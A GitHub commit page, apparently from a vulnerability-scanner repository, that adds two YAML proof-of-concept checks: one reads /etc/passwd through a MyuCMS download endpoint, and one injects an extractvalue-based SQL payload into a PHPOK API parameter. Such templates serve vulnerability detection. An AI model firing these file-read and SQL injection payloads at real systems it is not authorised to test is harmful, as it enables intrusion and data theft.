新增poc (#633)

* 新增poc * Update phpok-sqli.yml * Delete myucms-lfr-windows.yml * Update myucms-lfr-linux.yml * Update myucms-lfr-linux.yml * Update and rename myucms-lfr-linux.yml to myucms-lfr.yml
chaitin · Jan 6, 2020 · 7f50820 · 7f50820
1 parent a7438bc
commit 7f50820
Show file tree

Hide file tree

Showing 2 changed files with 22 additions and 0 deletions.
diff --git a/pocs/myucms-lfr.yml b/pocs/myucms-lfr.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-myucms-lfr
+rules:
+  - method: GET
+    path: /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1
+    expression: |
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: jinqi
+  links:
+    - https://github.com/jinqi520
diff --git a/pocs/phpok-sqli.yml b/pocs/phpok-sqli.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-phpok-sqli
+set:
+  r1: randomInt(800000000, 1000000000)
+rules:
+  - method: GET
+    path: "/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{r1}}))) --+"
+    expression: |
+      response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
+detail:
+  author: jinqi
+  links:
+    - https://github.com/jinqi520